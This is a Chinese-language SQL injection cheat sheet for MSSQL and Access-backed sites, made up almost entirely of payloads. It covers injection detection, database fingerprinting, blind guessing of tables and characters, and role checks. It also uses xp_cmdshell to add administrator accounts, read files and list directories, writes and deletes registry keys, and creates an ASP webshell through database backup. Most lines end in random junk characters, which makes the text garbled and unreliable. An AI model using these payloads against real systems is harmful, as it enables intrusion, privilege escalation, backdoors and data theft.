1.判断是否有注入;and 1=1 ;and 1=2 `KA==;0
2.初步判断是否是mssql ;and user>0 KMIe%2:b5
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3.注入参数是字符'and [查询条件] and ''=' yO)xN=o^\
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' B1 }-
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5.判断数据库系统 gPk,nB
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;and (select count(*) from sysobjects)>0 mssql yl~;!
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;and (select count(*) from msysobjects)>0 access hb3:,c(
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 .4%z$(+6
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 q1:dcxR[
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 RQ8d1US
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9.(1)猜字段的ascii值(access) qG;tD>jy
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 T4.wz
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(2)猜字段的ascii值(mssql) N E9,kWI
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ,gQl_Amvz
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10.测试权限结构(mssql) <7U~0@<Y
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ?m *e$!M0
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- :38{YCN
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ^>l <)$s
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 1}\p:`
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- k^%=\c
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ; H ;h[
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;and 1=(select IS_MEMBER('db_owner'));-- _rYW|*cIF
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11.添加mssql和系统的帐户 4aOz=/x2
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;exec master.dbo.sp_addlogin username;-- gDU!dT
;exec master.dbo.sp_password null,username,password;-- @l j|
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- <h:xZtz
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;exec master.dbo.xp_cmdshell 'net user username password ^.LB(GZ,
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- {`SMxDevc}
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- &q<k0_5Q
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- -b^dK)wR~
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12.(1)遍历目录 "G@K(bnHn
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;create table dirs(paths varchar(100), id int) y5eEEG6
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;insert dirs exec master.dbo.xp_dirtree 'c:\' a4ViVy
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;and (select top 1 paths from dirs)>0 h_ 4*?w
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) _ VuWo
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(2)遍历目录 zF`a:dD$d
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- flPS+
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 hYzP6?K"
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 x$-kw{N
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 iz-z?)%
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 QtnNc!,n
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13.mssql中的存储过程 a,oTU\m
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xp_regenumvalues 注册表根键, 子键 vU%K%-yXG7
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 D@&xj_#\}
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xp_regread 根键,子键,键值名 (NFrZ0
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;exec xp_regread @LOfqQ$FE
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 &fB=&jc*j
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xp_regwrite 根键,子键, 值名, 值类型, 值 |j0_^:2r=
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 X:s~w#>R
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 i
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xp_regdeletevalue 根键,子键,值名 ;7s^slVzF
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 +m./RlQ{
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 wY ItG"+6
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14.mssql的backup创建webshell [z!m
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use model lUjZ=3"'
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create table cmd(str image); [4#HuO@h
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insert into cmd(str) values (''); q`p0ul,n
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backup database model to disk='c:\l.asp'; @@*x/"GJG
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15.mssql内置函数 \Ebh6SRp\
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;and (select @@version)>0 获得Windows的版本号 wzy[sB274
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa +#wVe
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;and (select user_name())>0 爆当前系统的连接用户 +/celp
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;and (select db_name())>0 得到当前连接的数据库 $H+X'1
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16.简洁的webshell .b_ppieNY
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use model BC!) g+8
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create table cmd(str image); =SmU;t>t/
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insert into cmd(str) values (''); ahgP"Qz
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backup database model to disk='g:\wwwtest\l.asp';